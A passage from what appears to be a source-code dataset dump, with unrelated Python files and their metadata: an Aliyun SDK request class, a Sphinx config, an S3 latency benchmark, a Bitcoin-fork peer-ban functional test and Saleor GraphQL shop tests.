TrafficMatchRules[depth1].get('SrcPortRange')[depth2]) if TrafficMatchRules[depth1].get('DstCidr') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.DstCidr', TrafficMatchRules[depth1].get('DstCidr')) if TrafficMatchRules[depth1].get('TrafficMatchRuleName') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.TrafficMatchRuleName', TrafficMatchRules[depth1].get('TrafficMatchRuleName')) if TrafficMatchRules[depth1].get('SrcCidr') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.SrcCidr', TrafficMatchRules[depth1].get('SrcCidr')) def get_ResourceOwnerAccount(self): # String return self.get_query_params().get('ResourceOwnerAccount') def set_ResourceOwnerAccount(self, ResourceOwnerAccount): # String self.add_query_param('ResourceOwnerAccount', ResourceOwnerAccount) def get_OwnerAccount(self): # String return self.get_query_params().get('OwnerAccount') def set_OwnerAccount(self, OwnerAccount): # String self.add_query_param('OwnerAccount', OwnerAccount) def get_OwnerId(self): # Long return self.get_query_params().get('OwnerId') def set_OwnerId(self, OwnerId): # Long self.add_query_param('OwnerId', OwnerId)
52.347826
160
0.75789
from aliyunsdkcore.request import RpcRequest from aliyunsdkcbn.endpoint import endpoint_data class AddTraficMatchRuleToTrafficMarkingPolicyRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Cbn', '2017-09-12', 'AddTraficMatchRuleToTrafficMarkingPolicy') self.set_method('POST') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_ResourceOwnerId(self): return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self, ResourceOwnerId): self.add_query_param('ResourceOwnerId', ResourceOwnerId) def get_ClientToken(self): return self.get_query_params().get('ClientToken') def set_ClientToken(self, ClientToken): self.add_query_param('ClientToken', ClientToken) def get_TrafficMarkingPolicyId(self): return self.get_query_params().get('TrafficMarkingPolicyId') def set_TrafficMarkingPolicyId(self, TrafficMarkingPolicyId): self.add_query_param('TrafficMarkingPolicyId', TrafficMarkingPolicyId) def get_DryRun(self): return self.get_query_params().get('DryRun') def set_DryRun(self, DryRun): self.add_query_param('DryRun', DryRun) def get_TrafficMatchRuless(self): return self.get_query_params().get('TrafficMatchRules') def set_TrafficMatchRuless(self, TrafficMatchRules): for depth1 in range(len(TrafficMatchRules)): if TrafficMatchRules[depth1].get('DstPortRange') is not None: for depth2 in range(len(TrafficMatchRules[depth1].get('DstPortRange'))): self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.DstPortRange' + str(depth2 + 1), TrafficMatchRules[depth1].get('DstPortRange')[depth2]) if TrafficMatchRules[depth1].get('MatchDscp') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.MatchDscp', TrafficMatchRules[depth1].get('MatchDscp')) if TrafficMatchRules[depth1].get('Protocol') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.Protocol', TrafficMatchRules[depth1].get('Protocol')) if TrafficMatchRules[depth1].get('TrafficMatchRuleDescription') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.TrafficMatchRuleDescription', TrafficMatchRules[depth1].get('TrafficMatchRuleDescription')) if TrafficMatchRules[depth1].get('SrcPortRange') is not None: for depth2 in range(len(TrafficMatchRules[depth1].get('SrcPortRange'))): self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.SrcPortRange' + str(depth2 + 1), TrafficMatchRules[depth1].get('SrcPortRange')[depth2]) if TrafficMatchRules[depth1].get('DstCidr') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.DstCidr', TrafficMatchRules[depth1].get('DstCidr')) if TrafficMatchRules[depth1].get('TrafficMatchRuleName') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.TrafficMatchRuleName', TrafficMatchRules[depth1].get('TrafficMatchRuleName')) if TrafficMatchRules[depth1].get('SrcCidr') is not None: self.add_query_param('TrafficMatchRules.' + str(depth1 + 1) + '.SrcCidr', TrafficMatchRules[depth1].get('SrcCidr')) def get_ResourceOwnerAccount(self): return self.get_query_params().get('ResourceOwnerAccount') def set_ResourceOwnerAccount(self, ResourceOwnerAccount): self.add_query_param('ResourceOwnerAccount', ResourceOwnerAccount) def get_OwnerAccount(self): return self.get_query_params().get('OwnerAccount') def set_OwnerAccount(self, OwnerAccount): self.add_query_param('OwnerAccount', OwnerAccount) def get_OwnerId(self): return self.get_query_params().get('OwnerId') def set_OwnerId(self, OwnerId): self.add_query_param('OwnerId', OwnerId)
true
true
f7f394090d3abe509058627be4480129f79ff534
7,983
py
Python
old/pt/conf.py
xueron/phalcon-docs
5cf2c5a4fe8d2415b1f5bfcc8201f9224c9ab4c2
[ "BSD-3-Clause" ]
null
null
null
old/pt/conf.py
xueron/phalcon-docs
5cf2c5a4fe8d2415b1f5bfcc8201f9224c9ab4c2
[ "BSD-3-Clause" ]
null
null
null
old/pt/conf.py
xueron/phalcon-docs
5cf2c5a4fe8d2415b1f5bfcc8201f9224c9ab4c2
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # # Phalcon PHP Framework Documentation build configuration file, created by # sphinx-quickstart on Tue Jul 10 12:27:41 2012. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys, os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. #sys.path.insert(0, os.path.abspath('.')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = [] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = 'Phalcon' copyright = '2017, Phalcon Team and contributors' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '3.1.x' # The full version, including alpha/beta/rc tags. release = '3.1.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None language = 'pt' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'phalcon' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. html_theme_path = ['_theme'] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = "v<release> documentation" # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. html_favicon = 'pt/_static/favicon.ico' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['../pt/_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_domain_indices = True # If false, no index is generated. html_use_index = True # If true, the index is split into individual pages for each letter. html_split_index = True # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'PhalconDocumentationdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'PhalconDocumentation.tex', 'Phalcon Framework Documentation', 'Phalcon Team', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'phalcondocumentation', 'Phalcon Framework Documentation', ['Phalcon Team'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'PhalconDocumentation', 'Phalcon Framework Documentation', 'Phalcon Team', 'PhalconDocumentation', 'Phalcon is a web framework delivered as a C extension providing high performance and lower resource consumption.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'
32.717213
176
0.719278
import sys, os extensions = [] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = 'Phalcon' copyright = '2017, Phalcon Team and contributors' # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '3.1.x' # The full version, including alpha/beta/rc tags. release = '3.1.1' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None language = 'pt' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = ['_build'] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'phalcon' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. html_theme_path = ['_theme'] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = "v<release> documentation" # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. html_favicon = 'pt/_static/favicon.ico' # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['../pt/_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_domain_indices = True # If false, no index is generated. html_use_index = True # If true, the index is split into individual pages for each letter. html_split_index = True # If true, links to the reST sources are added to the pages. #html_show_sourcelink = True # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. #html_show_sphinx = True # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. html_show_copyright = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'PhalconDocumentationdoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'PhalconDocumentation.tex', 'Phalcon Framework Documentation', 'Phalcon Team', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'phalcondocumentation', 'Phalcon Framework Documentation', ['Phalcon Team'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'PhalconDocumentation', 'Phalcon Framework Documentation', 'Phalcon Team', 'PhalconDocumentation', 'Phalcon is a web framework delivered as a C extension providing high performance and lower resource consumption.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote'
true
true
f7f3946542bffe06b6256e2d172506de406c91f9
2,185
py
Python
s3_run.py
graykode/s3-latency
65bd9349e6b360e59f4953b7dc4d71f5f1d5909f
[ "MIT" ]
1
2020-06-17T09:37:39.000Z
2020-06-17T09:37:39.000Z
s3_run.py
graykode/s3-latency
65bd9349e6b360e59f4953b7dc4d71f5f1d5909f
[ "MIT" ]
null
null
null
s3_run.py
graykode/s3-latency
65bd9349e6b360e59f4953b7dc4d71f5f1d5909f
[ "MIT" ]
1
2019-04-28T22:24:09.000Z
2019-04-28T22:24:09.000Z
import boto3 import botocore import time regions = ['us-east-2', 'us-east-1', 'us-west-1', 'us-west-2', 'ap-south-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'eu-north-1', 'sa-east-1', ] def put(s3, bucketname, key, filename): start_time = time.time() s3.Bucket(bucketname).put_object(Key=key, Body=open(filename, 'rb')) return time.time() - start_time def get(s3, bucketname, key): start_time = time.time() s3.Object(bucketname, key).get()['Body'].read() return time.time() - start_time def delete(s3, bucketname, key): start_time = time.time() s3.Object(bucketname, key).delete() return time.time() - start_time files = ['1KB', '10KB', '1MB', '10MB'] runs = 10 #f = open("log", 'w') for region in regions: session = boto3.Session(profile_name='default', region_name=region) s3 = session.resource('s3') bucketname = 'graykode-' + region try: s3.create_bucket(Bucket=bucketname) except: s3.create_bucket( Bucket=bucketname, CreateBucketConfiguration={'LocationConstraint': region}, ) print('-----[',region,']-----') #f.write('-----[%s]-----\n' % region) for key, file in enumerate(files): averput = averget = averdel = 0 print('File Size', file) #f.write('File Size %s\n' % file) for i in range(0, runs): averput += put(s3, bucketname, str(key), file) print('\tAverage PUT latency', averput/runs) #f.write('\tAverage PUT latency %.6f\n' % (averput/runs)) for i in range(0, runs): averget += get(s3, bucketname, str(key)) print('\tAverage GET latency', averget / runs) #f.write('\tAverage GET latency %.6f\n' % (averget/runs)) for i in range(0, runs): averdel += delete(s3, bucketname, str(key)) print('\tAverage DEL latency', averdel / runs) #f.write('\tAverage DEL latency %.6f\n' % (averdel/runs)) s3.Bucket(bucketname).objects.all().delete() s3.Bucket(bucketname).delete() #f.close()
33.106061
95
0.591304
import boto3 import botocore import time regions = ['us-east-2', 'us-east-1', 'us-west-1', 'us-west-2', 'ap-south-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', 'ap-northeast-1', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'eu-north-1', 'sa-east-1', ] def put(s3, bucketname, key, filename): start_time = time.time() s3.Bucket(bucketname).put_object(Key=key, Body=open(filename, 'rb')) return time.time() - start_time def get(s3, bucketname, key): start_time = time.time() s3.Object(bucketname, key).get()['Body'].read() return time.time() - start_time def delete(s3, bucketname, key): start_time = time.time() s3.Object(bucketname, key).delete() return time.time() - start_time files = ['1KB', '10KB', '1MB', '10MB'] runs = 10 for region in regions: session = boto3.Session(profile_name='default', region_name=region) s3 = session.resource('s3') bucketname = 'graykode-' + region try: s3.create_bucket(Bucket=bucketname) except: s3.create_bucket( Bucket=bucketname, CreateBucketConfiguration={'LocationConstraint': region}, ) print('-----[',region,']-----') for key, file in enumerate(files): averput = averget = averdel = 0 print('File Size', file) for i in range(0, runs): averput += put(s3, bucketname, str(key), file) print('\tAverage PUT latency', averput/runs) for i in range(0, runs): averget += get(s3, bucketname, str(key)) print('\tAverage GET latency', averget / runs) for i in range(0, runs): averdel += delete(s3, bucketname, str(key)) print('\tAverage DEL latency', averdel / runs) s3.Bucket(bucketname).objects.all().delete() s3.Bucket(bucketname).delete()
true
true
f7f394c582851096b79df28236870d9403dfae48
5,318
py
Python
test/functional/disconnect_ban.py
BitcoinBridgeOffical/Bitcoin-Bridge
d800625c9b4b6fe1ddc0f0615a854e43463b82ad
[ "MIT" ]
1
2018-01-13T18:02:47.000Z
2018-01-13T18:02:47.000Z
test/functional/disconnect_ban.py
BitcoinBridgeOffical/Bitcoin-Bridge
d800625c9b4b6fe1ddc0f0615a854e43463b82ad
[ "MIT" ]
null
null
null
test/functional/disconnect_ban.py
BitcoinBridgeOffical/Bitcoin-Bridge
d800625c9b4b6fe1ddc0f0615a854e43463b82ad
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2014-2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test node disconnect and ban behavior""" import time from test_framework.test_framework import BitcoinBridgeTestFramework from test_framework.util import ( assert_equal, assert_raises_jsonrpc, connect_nodes_bi, wait_until, ) class DisconnectBanTest(BitcoinBridgeTestFramework): def set_test_params(self): self.num_nodes = 2 def run_test(self): self.log.info("Test setban and listbanned RPCs") self.log.info("setban: successfully ban single IP address") assert_equal(len(self.nodes[1].getpeerinfo()), 2) # node1 should have 2 connections to node0 at this point self.nodes[1].setban("127.0.0.1", "add") wait_until(lambda: len(self.nodes[1].getpeerinfo()) == 0, timeout=10) assert_equal(len(self.nodes[1].getpeerinfo()), 0) # all nodes must be disconnected at this point assert_equal(len(self.nodes[1].listbanned()), 1) self.log.info("clearbanned: successfully clear ban list") self.nodes[1].clearbanned() assert_equal(len(self.nodes[1].listbanned()), 0) self.nodes[1].setban("127.0.0.0/24", "add") self.log.info("setban: fail to ban an already banned subnet") assert_equal(len(self.nodes[1].listbanned()), 1) assert_raises_jsonrpc(-23, "IP/Subnet already banned", self.nodes[1].setban, "127.0.0.1", "add") self.log.info("setban: fail to ban an invalid subnet") assert_raises_jsonrpc(-30, "Error: Invalid IP/Subnet", self.nodes[1].setban, "127.0.0.1/42", "add") assert_equal(len(self.nodes[1].listbanned()), 1) # still only one banned ip because 127.0.0.1 is within the range of 127.0.0.0/24 self.log.info("setban remove: fail to unban a non-banned subnet") assert_raises_jsonrpc(-30, "Error: Unban failed", self.nodes[1].setban, "127.0.0.1", "remove") assert_equal(len(self.nodes[1].listbanned()), 1) self.log.info("setban remove: successfully unban subnet") self.nodes[1].setban("127.0.0.0/24", "remove") assert_equal(len(self.nodes[1].listbanned()), 0) self.nodes[1].clearbanned() assert_equal(len(self.nodes[1].listbanned()), 0) self.log.info("setban: test persistence across node restart") self.nodes[1].setban("127.0.0.0/32", "add") self.nodes[1].setban("127.0.0.0/24", "add") # Set the mocktime so we can control when bans expire old_time = int(time.time()) self.nodes[1].setmocktime(old_time) self.nodes[1].setban("192.168.0.1", "add", 1) # ban for 1 seconds self.nodes[1].setban("2001:4d48:ac57:400:cacf:e9ff:fe1d:9c63/19", "add", 1000) # ban for 1000 seconds listBeforeShutdown = self.nodes[1].listbanned() assert_equal("192.168.0.1/32", listBeforeShutdown[2]['address']) # Move time forward by 3 seconds so the third ban has expired self.nodes[1].setmocktime(old_time + 3) assert_equal(len(self.nodes[1].listbanned()), 3) self.stop_node(1) self.start_node(1) listAfterShutdown = self.nodes[1].listbanned() assert_equal("127.0.0.0/24", listAfterShutdown[0]['address']) assert_equal("127.0.0.0/32", listAfterShutdown[1]['address']) assert_equal("/19" in listAfterShutdown[2]['address'], True) # Clear ban lists self.nodes[1].clearbanned() connect_nodes_bi(self.nodes, 0, 1) self.log.info("Test disconnectnode RPCs") self.log.info("disconnectnode: fail to disconnect when calling with address and nodeid") address1 = self.nodes[0].getpeerinfo()[0]['addr'] node1 = self.nodes[0].getpeerinfo()[0]['addr'] assert_raises_jsonrpc(-32602, "Only one of address and nodeid should be provided.", self.nodes[0].disconnectnode, address=address1, nodeid=node1) self.log.info("disconnectnode: fail to disconnect when calling with junk address") assert_raises_jsonrpc(-29, "Node not found in connected nodes", self.nodes[0].disconnectnode, address="221B Baker Street") self.log.info("disconnectnode: successfully disconnect node by address") address1 = self.nodes[0].getpeerinfo()[0]['addr'] self.nodes[0].disconnectnode(address=address1) wait_until(lambda: len(self.nodes[0].getpeerinfo()) == 1, timeout=10) assert not [node for node in self.nodes[0].getpeerinfo() if node['addr'] == address1] self.log.info("disconnectnode: successfully reconnect node") connect_nodes_bi(self.nodes, 0, 1) # reconnect the node assert_equal(len(self.nodes[0].getpeerinfo()), 2) assert [node for node in self.nodes[0].getpeerinfo() if node['addr'] == address1] self.log.info("disconnectnode: successfully disconnect node by node id") id1 = self.nodes[0].getpeerinfo()[0]['id'] self.nodes[0].disconnectnode(nodeid=id1) wait_until(lambda: len(self.nodes[0].getpeerinfo()) == 1, timeout=10) assert not [node for node in self.nodes[0].getpeerinfo() if node['id'] == id1] if __name__ == '__main__': DisconnectBanTest().main()
49.240741
153
0.664912
import time from test_framework.test_framework import BitcoinBridgeTestFramework from test_framework.util import ( assert_equal, assert_raises_jsonrpc, connect_nodes_bi, wait_until, ) class DisconnectBanTest(BitcoinBridgeTestFramework): def set_test_params(self): self.num_nodes = 2 def run_test(self): self.log.info("Test setban and listbanned RPCs") self.log.info("setban: successfully ban single IP address") assert_equal(len(self.nodes[1].getpeerinfo()), 2) self.nodes[1].setban("127.0.0.1", "add") wait_until(lambda: len(self.nodes[1].getpeerinfo()) == 0, timeout=10) assert_equal(len(self.nodes[1].getpeerinfo()), 0) assert_equal(len(self.nodes[1].listbanned()), 1) self.log.info("clearbanned: successfully clear ban list") self.nodes[1].clearbanned() assert_equal(len(self.nodes[1].listbanned()), 0) self.nodes[1].setban("127.0.0.0/24", "add") self.log.info("setban: fail to ban an already banned subnet") assert_equal(len(self.nodes[1].listbanned()), 1) assert_raises_jsonrpc(-23, "IP/Subnet already banned", self.nodes[1].setban, "127.0.0.1", "add") self.log.info("setban: fail to ban an invalid subnet") assert_raises_jsonrpc(-30, "Error: Invalid IP/Subnet", self.nodes[1].setban, "127.0.0.1/42", "add") assert_equal(len(self.nodes[1].listbanned()), 1) self.log.info("setban remove: fail to unban a non-banned subnet") assert_raises_jsonrpc(-30, "Error: Unban failed", self.nodes[1].setban, "127.0.0.1", "remove") assert_equal(len(self.nodes[1].listbanned()), 1) self.log.info("setban remove: successfully unban subnet") self.nodes[1].setban("127.0.0.0/24", "remove") assert_equal(len(self.nodes[1].listbanned()), 0) self.nodes[1].clearbanned() assert_equal(len(self.nodes[1].listbanned()), 0) self.log.info("setban: test persistence across node restart") self.nodes[1].setban("127.0.0.0/32", "add") self.nodes[1].setban("127.0.0.0/24", "add") old_time = int(time.time()) self.nodes[1].setmocktime(old_time) self.nodes[1].setban("192.168.0.1", "add", 1) self.nodes[1].setban("2001:4d48:ac57:400:cacf:e9ff:fe1d:9c63/19", "add", 1000) listBeforeShutdown = self.nodes[1].listbanned() assert_equal("192.168.0.1/32", listBeforeShutdown[2]['address']) self.nodes[1].setmocktime(old_time + 3) assert_equal(len(self.nodes[1].listbanned()), 3) self.stop_node(1) self.start_node(1) listAfterShutdown = self.nodes[1].listbanned() assert_equal("127.0.0.0/24", listAfterShutdown[0]['address']) assert_equal("127.0.0.0/32", listAfterShutdown[1]['address']) assert_equal("/19" in listAfterShutdown[2]['address'], True) self.nodes[1].clearbanned() connect_nodes_bi(self.nodes, 0, 1) self.log.info("Test disconnectnode RPCs") self.log.info("disconnectnode: fail to disconnect when calling with address and nodeid") address1 = self.nodes[0].getpeerinfo()[0]['addr'] node1 = self.nodes[0].getpeerinfo()[0]['addr'] assert_raises_jsonrpc(-32602, "Only one of address and nodeid should be provided.", self.nodes[0].disconnectnode, address=address1, nodeid=node1) self.log.info("disconnectnode: fail to disconnect when calling with junk address") assert_raises_jsonrpc(-29, "Node not found in connected nodes", self.nodes[0].disconnectnode, address="221B Baker Street") self.log.info("disconnectnode: successfully disconnect node by address") address1 = self.nodes[0].getpeerinfo()[0]['addr'] self.nodes[0].disconnectnode(address=address1) wait_until(lambda: len(self.nodes[0].getpeerinfo()) == 1, timeout=10) assert not [node for node in self.nodes[0].getpeerinfo() if node['addr'] == address1] self.log.info("disconnectnode: successfully reconnect node") connect_nodes_bi(self.nodes, 0, 1) assert_equal(len(self.nodes[0].getpeerinfo()), 2) assert [node for node in self.nodes[0].getpeerinfo() if node['addr'] == address1] self.log.info("disconnectnode: successfully disconnect node by node id") id1 = self.nodes[0].getpeerinfo()[0]['id'] self.nodes[0].disconnectnode(nodeid=id1) wait_until(lambda: len(self.nodes[0].getpeerinfo()) == 1, timeout=10) assert not [node for node in self.nodes[0].getpeerinfo() if node['id'] == id1] if __name__ == '__main__': DisconnectBanTest().main()
true
true
f7f3959b3f20878683d0015597513b420a349bee
40,739
py
Python
saleor/saleor/graphql/shop/tests/test_shop.py
nguyentrung194/e-com
e1fbf6259ba832040b9cf0ec6a7adf1b43a8539a
[ "BSD-3-Clause" ]
null
null
null
saleor/saleor/graphql/shop/tests/test_shop.py
nguyentrung194/e-com
e1fbf6259ba832040b9cf0ec6a7adf1b43a8539a
[ "BSD-3-Clause" ]
1
2022-01-06T19:01:21.000Z
2022-01-06T19:01:21.000Z
saleor/saleor/graphql/shop/tests/test_shop.py
nguyentrung194/e-com
e1fbf6259ba832040b9cf0ec6a7adf1b43a8539a
[ "BSD-3-Clause" ]
null
null
null
from unittest.mock import ANY import graphene import pytest from django_countries import countries from .... import __version__ from ....account.models import Address from ....core.error_codes import ShopErrorCode from ....core.permissions import get_permissions_codename from ....shipping import PostalCodeRuleInclusionType from ....shipping.models import ShippingMethod from ....site.models import Site from ...account.enums import CountryCodeEnum from ...core.utils import str_to_enum from ...tests.utils import assert_no_permission, get_graphql_content COUNTRIES_QUERY = """ query { shop { countries%(attributes)s { code country } } } """ LIMIT_INFO_QUERY = """ { shop { limits { currentUsage { channels } allowedUsage { channels } } } } """ def test_query_countries(user_api_client): response = user_api_client.post_graphql(COUNTRIES_QUERY % {"attributes": ""}) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["countries"]) == len(countries) @pytest.mark.parametrize( "language_code, expected_value", ( ("", "Afghanistan"), ("(languageCode: EN)", "Afghanistan"), ("(languageCode: PL)", "Afganistan"), ("(languageCode: DE)", "Afghanistan"), ), ) def test_query_countries_with_translation( language_code, expected_value, user_api_client ): response = user_api_client.post_graphql( COUNTRIES_QUERY % {"attributes": language_code} ) content = get_graphql_content(response) data = content["data"]["shop"] assert len(data["countries"]) == len(countries) assert data["countries"][0]["code"] == "AF" assert data["countries"][0]["country"] == expected_value def test_query_name(user_api_client, site_settings): query = """ query { shop { name description } } """ response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] assert data["description"] == site_settings.description assert data["name"] == site_settings.site.name def test_query_company_address(user_api_client, site_settings, address): query = """ query { shop{ companyAddress{ city streetAddress1 postalCode } } } """ site_settings.company_address = address site_settings.save() response = user_api_client.post_graphql(query) content = get_graphql_content(response) data = content["data"]["shop"] 